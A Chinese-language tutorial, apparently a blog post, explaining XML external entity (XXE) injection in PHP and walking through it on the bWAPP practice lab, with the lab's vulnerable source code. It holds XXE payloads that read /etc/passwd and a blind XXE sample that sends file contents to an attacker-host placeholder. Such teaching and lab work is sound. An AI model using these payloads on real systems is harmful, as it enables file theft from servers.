XXE - bWAPP
概述:
XXE(XML External Entity Injection)即XML外部实体注入。漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。 这里主要介绍PHP语言下的XXE攻击.
基础知识:
XML基础(extensible markup language)
- 用途:数据的传输和存储
- 文档结构:
可参考:https://www.cnblogs.com/jb8164/articles/736515.html
-
- XML声明(通常是版本和编码格式)
<?xmlversion="1.0" encoding="UTF-8">
-
- 根元素(放在起始和结尾)
- 元素
基本结构:开始标记数据内容结束标记
<Person>
<Name>Zhang San</Name>
<Sex>Male</Sex>
</Person>
-
- 注释:
<!--****-->
-
- PI (processing instruction)
开头 <? 结尾 ?>
-
- DTD文档类型定义
movies.dtd
<?xml version="1.0" encoding="GB2312"?>
<!ELEMENT movies (id, name, brief, time)>
<!ATTLIST movies type CDATA #REQUIRED>
<!ELEMENT id (#PCDATA)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT brief (#PCDATA)>
<!ELEMENT time (#PCDATA)>
movies.xml
<?xml version="1.0" encoding="GB2312"?>
<!DOCTYPE movies SYSTEM "movies.dtd">
<movies type="动作片">
<id>1</id>
<name>致命摇篮</name>
<brief>李连杰最新力作</brief>
<time>2003</time>
</movies>
-
- CDATA 将文本内容当作纯字符数据来解释
以"<![CDATA[" 开始,以"]]>"结束
-
- Entities 实体
&开始 ;结尾定义好的有
< <
> >
& &
" "
' '
-
-
- 内部实体 <!ENTITY 实体名称 "实体的值">
- 外部实体 <!ENTITY 实体名称 SYSTEM "URL">
- Doctype
-
"<!DOCTYPE[]>"紧随XML声明,包括所有实体的声明
XXE 原理
XML数据在传输过程中利用外部实体声明部分的"SYSTEM"关键词导致XML解析器可以从本地文件或者远程URL中读取受保护的数据。
XXE 分类
- 按构造外部实体声明
-
- 直接通过DTD外部实体声明
<?xml version="1.0"?>
<!DOCTYPE xxx[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<hhh>&f;<hhh>
-
- 通过DTD文档映入外部DTD文档中的外部实体声明
XML内容:
<?xml version="1.0"?>
<!DOCTYPE xxx SYSTEM "https://xxx/xxx.dtd">
<hhh>&f;<hhh>
DTD文件内容
<!ENTITY f SYSTEM "file:///etc/passwd">
-
- 通过DTD外部实体声明来引入外部DTD文档中的外部实体声明
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "https://xxx/xxx.dtd">
]>
<hhh>&f;<hhh>
- 按输出信息
- 正常回显XXE (服务器直接回显信息)
- 报错XXE
- Blind XXE
当服务器没有回显,我们可以选择使用Blind XXE。与前两种XXE不同之处在于Blind XXE无回显信息,可组合利用file协议来读取文件或http协议和ftp协议来查看日志。 Blind XXE主要使用了DTD约束中的参数实体和内部实体。 在XML基础有提到过参数实体的定义,这里就不再做详细讲解。 参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。
<?xml version="1.0"?>
<!DOCTYPE Note[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://攻击者主机IP/xxx.xml">
%remote引入外部XML文件到这个 XML 中,%all检测到send实体,在 root 节点中引入 send 实体,便可实现数据转发。 利用过程:第3行,存在漏洞的服务器会读出file的内容(c:/1.txt),通过Quan.xml带外通道发送给攻击者服务器上的1.php,1.php做的事情就是把读取的数据保存到本地的1.txt中,完成Blind XXE攻击。
靶场测试
php靶场 - bWAPP
这里有两种安装,一种是网页,另一种是虚拟机安装的
网页地址
https://sourceforge.net/projects/bwapp/files/latest/download
https://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z/download
这里简单演示网页版的安装(解压放到 phpstudy 下的www文件中,打开admin中的settings.php文件)

这里可按需更改

登录网址进行安装这里是 localhost/bwapp/install.php
安装完成,进行相关练习
等级low

抓包分析试试

repeater中正常操作结果

尝试添加XML内容,这里以读取网站本身的 robots.txt 为例

修改内容如下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Beyond SYSTEM "http://192.168.204.75/bWAPP/robots.txt">
]>
<reset><login>&Beyond;</login><secret>Any bugs?</secret></reset>

成功!
简单分析源码:
1 $message = ""; 2 $body = file_get_contents("php://input"); 3 4 // If the security level is not MEDIUM or HIGH 5 if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2") 6 { 7 8 ini_set("display_errors",1); 9 10 $xml = simplexml_load_string($body); 11 12 // Debugging 13 // print_r($xml); 14 15 $login = $xml->login; 16 $secret = $xml->secret; 17 18 if($login && $login != "" && $secret) 19 { 20 21 // $login = mysqli_real_escape_string($link, $login); 22 // $secret = mysqli_real_escape_string($link, $secret); 23 24 $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'"; 25 26 // Debugging 27 // echo $sql; 28 29 $recordset = $link->query($sql); 30 31 if(!$recordset) 32 { 33 34 die("Connect Error: " . $link->error); 35 36 } 37 38 $message = $login . "'s secret has been reset!"; 39 40 } 41 42 else 43 { 44 45 $message = "An error occured!"; 46 47 } 48 49 }
首先是通过php伪协议获取XML内容,然后使用 simplexml_load_string() 函数将xml 字符串载入对象中,没有任何过滤,然后login会直接回显内容
等级medium/high
这里两个难度对应的代码是一样的

失败,分析源码
1 // If the security level is MEDIUM or HIGH 2 else 3 { 4 5 // Disables XML external entities. Doesn't work with older PHP versions! 6 // libxml_disable_entity_loader(true); 7 $xml = simplexml_load_string($body); 8 9 // Debugging 10 // print_r($xml); 11 12 $login = $_SESSION["login"]; 13 $secret = $xml->secret; 14 15 if($secret) 16 { 17 18 $secret = mysqli_real_escape_string($link, $secret); 19 20 $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'"; 21 22 // Debugging 23 // echo $sql; 24 25 $recordset = $link->query($sql); 26 27 if(!$recordset) 28 { 29 30 die("Connect Error: " . $link->error); 31 32 } 33 34 $message = $login . "'s secret has been reset!"; 35 36 } 37 38 else 39 { 40 41 $message = "An error occured!"; 42 43 } 44 45 }
这里的login是从session中获得的,无法利用login元素进行XXE攻击
参考文章:https://github.com/hongriSec/Web-Security-Attack/tree/master/Part1/Day8/files
java靶场 - webGoat (暂略)
DSVW靶场(暂略)
XXE-lab (暂略)

浙公网安备 33010602011771号